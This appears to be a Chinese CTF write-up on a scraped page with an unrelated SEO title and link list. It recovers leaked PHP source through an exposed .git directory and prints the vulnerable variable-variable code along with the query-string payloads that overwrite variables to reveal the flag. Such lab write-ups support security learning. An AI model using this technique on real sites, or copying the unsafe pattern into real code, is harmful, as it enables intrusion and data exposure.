当前位置: 首页 > news >正文

沈阳模板建站网站建设与管理就业岗位 方向

沈阳模板建站,网站建设与管理就业岗位 方向,嘉兴网站推广,wordpress实现中英文切换打开题目 发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下 http://63f29a80-e08b-43ae-a6d0-8e70fb02ea…

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php
 
include 'flag.php';
 
$yds = "dog";
$is = "cat";
$handsome = 'yds';
 
foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}
 
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
 
echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。 

?yds=flag

覆盖is变量

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

Get或Post传入flag=flag,触发变量覆盖代码

foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到$handsome=$flag

?handsome=flag&flag=handsome

可以得到flag

http://www.yayakq.cn/news/453861/

相关文章:

  • 建设银行的网站为什么这么卡移动端网站制作案例
  • 可以在线做动图的网站邢台网上办事大厅
  • 个人主体可以做网站吗wordpress设计报告
  • 做网站要具备些什么易营宝网站建设
  • 网站的排版黄岛网站建设公司哪家好
  • 好分数的开发公司昆明seo排名外包
  • 网站开发用什么技术asp有哪些网站做的好
  • 绥芬河建设工程网站做招聘信息的网站有哪些
  • 手游传奇发布网站999wordpress页面添加主页
  • 烟台网站建设多少钱网站建设属于哪类税率
  • 免费观看行情软件网站下载wordpress 百度seo
  • 临沂网站建设技术支持网络营销包括的主要内容有
  • 做网站应该掌握的技术免费咨询法律援助该打什么电话
  • 购物网站详细设计网页设计与制作策划书
  • 建设网站的定位怎么恶意点击对手竞价
  • 房产网站建设价格广州seo网络优化公司
  • 网站管理服务在线制作图片的网站
  • 有哪个理财网站是专门做汽车抵押的安阳工学院图书馆找做网站的书在哪
  • 成都房建设部网站搭建正规网站
  • 机械设计网站推荐网站建设服务哪个便宜啊
  • 一个域名两个网站松阳建设局网站
  • php开源建站系统wordpress防止频繁访问
  • 松江做移动网站婚纱影楼网站免费源码
  • 鹤壁做网站法治网站的建设整改措施
  • 北京优化网站推广网站建设经济可行性
  • 网站建设方案书 模版东莞设计网站企业
  • 相城建设监理有限公司网站wordpress 版块
  • 做网站所需的知识技能茶叶推广软文
  • 东莞外贸网站制作个人怎么做微信公众号和微网站吗
  • 富顺住房和城乡建设厅网站reactjs 做网站